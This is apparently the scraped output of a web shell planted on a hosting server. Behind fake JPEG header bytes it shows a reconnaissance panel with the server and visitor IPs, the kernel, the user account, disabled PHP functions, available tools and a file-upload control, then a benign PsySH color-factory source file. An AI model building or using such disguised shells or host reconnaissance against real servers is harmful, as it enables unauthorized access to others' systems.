ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 3.144.11.183 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/funds/vendor/psy/psysh/src/Psy/ |
Upload File : |
<?php /* * This file is part of Psy Shell. * * (c) 2012-2015 Justin Hileman * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Psy; use JakubOnderka\PhpConsoleColor\ConsoleColor; use JakubOnderka\PhpConsoleHighlighter\Highlighter; /** * Builds `ConsoleColor` instances configured according to the given color mode. */ class ConsoleColorFactory { private $colorMode; /** * @param string $colorMode */ public function __construct($colorMode) { $this->colorMode = $colorMode; } /** * Get a `ConsoleColor` instance configured according to the given color * mode. * * @return ConsoleColor */ public function getConsoleColor() { if ($this->colorMode === Configuration::COLOR_MODE_AUTO) { return $this->getDefaultConsoleColor(); } elseif ($this->colorMode === Configuration::COLOR_MODE_FORCED) { return $this->getForcedConsoleColor(); } elseif ($this->colorMode === Configuration::COLOR_MODE_DISABLED) { return $this->getDisabledConsoleColor(); } } private function getDefaultConsoleColor() { $color = new ConsoleColor(); $color->addTheme(Highlighter::LINE_NUMBER, array('blue')); return $color; } private function getForcedConsoleColor() { $color = $this->getDefaultConsoleColor(); $color->setForceStyle(true); return $color; } private function getDisabledConsoleColor() { $color = new ConsoleColor(); $color->addTheme(Highlighter::TOKEN_STRING, array('none')); $color->addTheme(Highlighter::TOKEN_COMMENT, array('none')); $color->addTheme(Highlighter::TOKEN_KEYWORD, array('none')); $color->addTheme(Highlighter::TOKEN_DEFAULT, array('none')); $color->addTheme(Highlighter::TOKEN_HTML, array('none')); $color->addTheme(Highlighter::ACTUAL_LINE_MARK, array('none')); $color->addTheme(Highlighter::LINE_NUMBER, array('none')); return $color; } }